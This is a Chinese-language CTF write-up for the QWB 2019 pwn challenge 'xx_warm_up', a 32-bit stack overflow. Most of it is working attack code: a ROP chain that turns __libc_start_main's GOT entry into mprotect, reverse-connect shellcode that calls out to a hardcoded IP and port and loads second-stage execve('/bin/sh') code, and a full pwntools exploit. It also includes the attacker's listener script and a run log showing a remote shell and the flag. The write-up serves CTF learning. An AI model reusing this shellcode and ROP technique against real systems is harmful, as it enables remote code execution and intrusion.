强网杯2019 pwn xx_warm_up writeup

主要考验的是选手构造ROP链的能力,题目当时没做出来,所以环境仅仅是根据赛时服务器行为搭建的。

源程序、相关文件下载:http://file.eonew.cn/ctf/pwn/xx_warm_up.zip

分析

拿到题目之后,先是一个Python文件。

pow.py

#!/usr/bin/python -u
# encoding: utf-8

import random, string, subprocess, os, sys
from hashlib import sha256

os.chdir(os.path.dirname(os.path.realpath(__file__)))

def proof_of_work():
    chal = ''.join(random.choice(string.letters+string.digits) for _ in xrange(16))
    sys.stdout.write(chal + "\n")
    sys.stdout.flush()
    sol = sys.stdin.read(4)
    if len(sol) != 4 or not sha256(chal + sol).hexdigest().startswith('00000'):
        exit()

def read_until(fd, max_sz, end_ch = None):
    data = ''
    while len(data) < max_sz:
        try:
            tch = fd.read(1)
        except Exception, e:
            break  

        if end_ch != None and tch == end_ch:
            break

        if tch == '':
            break      
        data += tch
        #print data
    return data

def exec_serv(name):
    p = subprocess.Popen(name, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    sys.stdout.write(read_until(p.stdout, 0x100))
    sys.stdout.flush()

import os,sys,signal,logging
class Unbuffered(object):
   def __init__(self, stream):
       self.stream = stream
   def write(self, data):
       self.stream.write(data)
       self.stream.flush()
   def __getattr__(self, attr):
       return getattr(self.stream, attr)

import string
def checkInput(data):
    pattern = string.digits + string.ascii_letters
    for ch in data:
        if ch not in pattern:
            return False

    return True

if __name__ == '__main__':

    sys.stdout = Unbuffered(sys.stdout)
    interact_timeout = 120
    #set alarm 60s and change workdir
    signal.alarm(interact_timeout)

    proof_of_work()
    input_data = read_until(sys.stdin, 0x100, '\n')
    if checkInput(input_data) == True:
        exec_serv('./xx_warm_up ' + input_data)
    else:
        print "bad input"

这里需要我们进行简单的sha256爆破,下面是爆破脚本。

// compiled: gcc -O3 -pthread crack.c sha256.c -o crack
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include "sha256.h"

// 设置线程数目
#define THREAD_NUM 2

char global_data[0x100] = {0};

void crack(void *p)
{
    int offset = *(int *)p, i, ii, iii, iiii;
    char data[0x100];
    char hash[0x100];
    memcpy(data, global_data, 0x100);

    for (i = offset; i < 256; i++)
    {
        // printf("%d\n",i);
        data[16] = i;
        for (ii = 0; ii < 256; ii += THREAD_NUM)
        {
            data[17] = ii;
            for (iii = 0; iii < 256; iii++)
            {
                data[18] = iii;
                for (iiii = 0; iiii < 256; iiii++)
                {
                    data[19] = iiii;
                    sha256(data, 20, hash);
                    if (*(short *)hash == 0 && (hash[2] & 0xf0) == 0)
                    {
                        write(1, data, 20);
                        exit(0);
                    }
                }
            }
        }
    }
}

int main(int argc, char const *argv[])
{
    pthread_t threads[THREAD_NUM];
    int offset[THREAD_NUM], i;
    memcpy(global_data, argv[1], 16);

    // printf("%s\n%s\n", global_data, global_answer);

    // 启动线程
    for (i = 0; i < THREAD_NUM; i++)
    {
        offset[i] = i;
        pthread_create(&threads[i], NULL, crack, (void *)&offset[i]);
    }

    // 等待线程
    for (i = 0; i < THREAD_NUM; i++)
    {
        pthread_join(threads[i], NULL);
    }

    return 0;
}

sha256源码来自:https://github.com/ilvn/SHA256

xx_warm_up

int __cdecl main(int a1, char **argv)
{
  void *v2; // esp
  unsigned int length; // [esp+0h] [ebp-10h]
  int v5; // [esp+4h] [ebp-Ch]
  int *v6; // [esp+8h] [ebp-8h]

  v6 = &a1;
  v2 = alloca(48);
  v5 = 16 * (((unsigned int)&v5 + 3) >> 4);
  str_to_hex((int)&buf, (int)argv[1], 0x80u, &length);
  if ( length <= 128 )
    memcpy(v5, (int)&buf, length);
  memset((char *)&link_map, 0, 8);
  return 0;
}

标准的栈溢出,而且我们只可以注入一次payload,payload的长度最大128,link_map也被置0了,这意味着我们不能使用ret2dl-resolve

而且程序没有交互性,只读取一次payload,返回一次输出流,所以我们只能用128byte的payload来打穿,而且实际靶机把flag藏了起来,需要我们手动找出来。

思路

  1. 构造ROP链修改 __libc_start_main 为 mprotect
  2. 执行反向shellcode
  3. 查找flag

__libc_start_main -> mprotect

原理是用ROPgadget深度搜索的时候,找到了两条比较bug的指令。

# 0x08048436 : add dword ptr [ebx + 0x453bfc45], ecx ; adc byte ptr [esi - 0x70], bh ; leave ; ret
add_addr_ret = 0x08048436

# edi -> esi -> ebp -> # -> ebx -> edx -> ecx -> eax
# 0x080485b6 : popal ; cld ; ret
popal_cld_ret = 0x080485b6

可以利用上面的指令,直接加上__libc_start_mainmprotect之间的差值,那么就可以调用mprotect来执行shellcode。

buf_addr = 0x804a040

log.info("__libc_start_main.got: " + hex(elf.got['__libc_start_main']))
diff = libc.symbols['mprotect'] - libc.symbols['__libc_start_main']
log.success("the diff is " + hex(diff))

layout = [
    p32(buf_addr + 64 + 4 + 4),
    p32(popal_cld_ret),
    p32(0), # edi
    p32(buf_addr + 0x200), # esi
    p32(buf_addr + 64 + 4 * 10), # ebp
    p32(0),
    p32(elf.got['__libc_start_main'] - 0x453bfc45 + 0x100000000), # ebx
    p32(0), # edx
    p32(diff), # ecx
    p32(0), # eax

    p32(add_addr_ret),
    p32(elf.plt['__libc_start_main']),
    p32(buf_addr),
    p32(buf_addr & 0xfffff000), # addr
    p32(0x1000), # len
    p32(1 | 2 | 4), # prot
]

反向shellcode

总共128byte的payload,上面已经用掉了64个byte,那么就是说我们只能填充64byte的反向shellcode,这对于反向shellcode来说很难。

这里我用了一个思路,先只打开socket的输入流,输出流之后在注入二次shellcode再打开,这样payload会短很多,而且第一次不执行execve,而是继续读二次shellcode,然后通过二次shellcode来拿shell,这样payload又会变短,最后我们只需要58byte的shellcode就能完成上面的操作,满足了64byte的要求。

反向shellcode:

;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xor ebx, ebx
mul ebx
inc ebx
push edx
push ebx
push 0x2
mov ecx, esp
mov al, 0x66
int 0x80

;// dup2(soc, 0)
mov ebx, eax
xor ecx, ecx
mov al, 0x3f
int 0x80

;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
push 0x3740e76f
push 0xcaea0002
mov ecx, esp
push 0x10
push ecx
push ebx ;// fd
mov ecx, esp
mov al, 0x66
int 0x80

;// read(socket, 0x804a000, 255)
mov ecx, 0x804a000
mov dl,  255
mov al, 3
int 0x80

;// shellcode
jmp ecx

0x3740e76f为ip,0xcaea为端口。

查找flag

连上shell之后,查找flag就会变得很方便。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import random
import binascii

sh = remote('111.231.64.55', 60108)
prefix = sh.recv(16)

cmd = './crack ' + prefix + ' > txt'
print(cmd)
os.system(cmd)
key = open('txt', 'rb').read()

sh.send(key[-4:])

# context.log_level = 'debug'
# sh = process('./xx_warm_up')
elf = ELF('./xx_warm_up')
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.arch = "i386"

# 创建pid文件,用于gdb调试
try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

# 0x08048436 : add dword ptr [ebx + 0x453bfc45], ecx ; adc byte ptr [esi - 0x70], bh ; leave ; ret
add_addr_ret = 0x08048436

# edi -> esi -> ebp -> # -> ebx -> edx -> ecx -> eax
# 0x080485b6 : popal ; cld ; ret
popal_cld_ret = 0x080485b6

buf_addr = 0x804a040

log.info("__libc_start_main.got: " + hex(elf.got['__libc_start_main']))
diff = libc.symbols['mprotect'] - libc.symbols['__libc_start_main']
log.success("the diff is " + hex(diff))

layout = [
    p32(buf_addr + 64 + 4 + 4),
    p32(popal_cld_ret),
    p32(0), # edi
    p32(buf_addr + 0x200), # esi
    p32(buf_addr + 64 + 4 * 10), # ebp
    p32(0),
    p32(elf.got['__libc_start_main'] - 0x453bfc45 + 0x100000000), # ebx
    p32(0), # edx
    p32(diff), # ecx
    p32(0), # eax

    p32(add_addr_ret),
    p32(elf.plt['__libc_start_main']),
    p32(buf_addr),
    p32(buf_addr & 0xfffff000), # addr
    p32(0x1000), # len
    p32(1 | 2 | 4), # prot
]

shellcode_asm = '''
    ;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
    xor ebx, ebx
    mul ebx
    inc ebx
    push edx
    push ebx
    push 0x2
    mov ecx, esp
    mov al, 0x66
    int 0x80

    ;// dup2(soc, 0)
    mov ebx, eax
    xor ecx, ecx
    mov al, 0x3f
    int 0x80

    ;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
    push 0x3740e76f
    push 0xcaea0002
    mov ecx, esp
    push 0x10
    push ecx
    push ebx ;// fd
    mov ecx, esp
    mov al, 0x66
    int 0x80

    ;// read(socket, 0x804a000, 255)
    mov ecx, 0x804a000
    mov dl,  255
    mov al, 3
    int 0x80

    ;// shellcode
    jmp ecx
'''

shellcode = asm(shellcode_asm)
print(len(shellcode))

payload = shellcode.ljust(64, 'b') + flat(layout)

print(len(payload))

payload = binascii.b2a_hex(payload.ljust(128, 'a'))
print(payload)

sh.send(payload)

sh.interactive()

二次shellcode

;// dup2(soc, 1)
mov ebx, 3
mov ecx, 1
mov eax, 63 ;// SYS_dup2
int 0x80

;// execve("/bin/sh", NULL, NULL)
push 0x0068732f
push 0x6e69622f
mov ebx,esp
mov eax,0x0b
mov ecx,0
mov edx,0
int 0x80

;// exit(0)
mov ebx, 0
mov eax, 1
int 0x80

远程脚本

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import socket               # 导入 socket 模块
import thread

def print_recv(s):
    while(s):
        result = s.recv(1024)
        if(result):
            print(result)
        else:
            return

s = socket.socket()         # 创建 socket 对象
host = '0.0.0.0'  # 获取本地主机名
port = 60106                # 设置端口
s.bind((host, port))        # 绑定端口

s.listen(1)                 # 等待客户端连接
while True:
    c, addr = s.accept()     # 建立客户端连接
    print ('连接地址:' + str(addr))
    c.send('\xbb\x03\x00\x00\x00\xb9\x01\x00\x00\x00\xb8?\x00\x00\x00\xcd\x80h/sh\x00h/bin\x89\xe3\xb8\x0b\x00\x00\x00\xb9\x00\x00\x00\x00\xba\x00\x00\x00\x00\xcd\x80\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80')
    try:
        thread.start_new_thread(print_recv, (c, ))
        while(True):
            c.send(raw_input() + '\n')
    except Exception as e:
        print(e)
        print("Disconnect")
        c.close()

运行实例

本机:

ex@Ex:~/test$ ./exp.py 
[+] Opening connection to 111.231.64.55 on port 60108: Done
./crack JwToj0FJv0E0sHSI > txt
[*] '/home/ex/test/xx_warm_up'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/home/ex/test/libc-2.27.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
list index out of range
[*] __libc_start_main.got: 0x804a00c
[+] the diff is 0xd9e80
58
128
31dbf7e34352536a0289e1b066cd8089c331c9b03fcd80686fe74037680200eaca89e16a10515389e1b066cd80b900a00408b2ffb003cd80ffe162626262626288a00408b68504080000000040a20408a8a0040800000000c7a3c8c200000000809e0d000000000036840408c082040840a0040800a004080010000007000000
[*] Switching to interactive mode

$  

服务器:

python ./control.py
连接地址:('111.231.64.55', 42796)
find . -name flag
./flag

cat ./flag
60fa126205cdf0669d07ba4a02c226a86c333411

总结

这道题目当时我已经已经打穿本地,没想到出题方把flag藏了起来,难怪打不穿靶机,不过反向shellcode对于这种没有交互性的程序还是很实用的。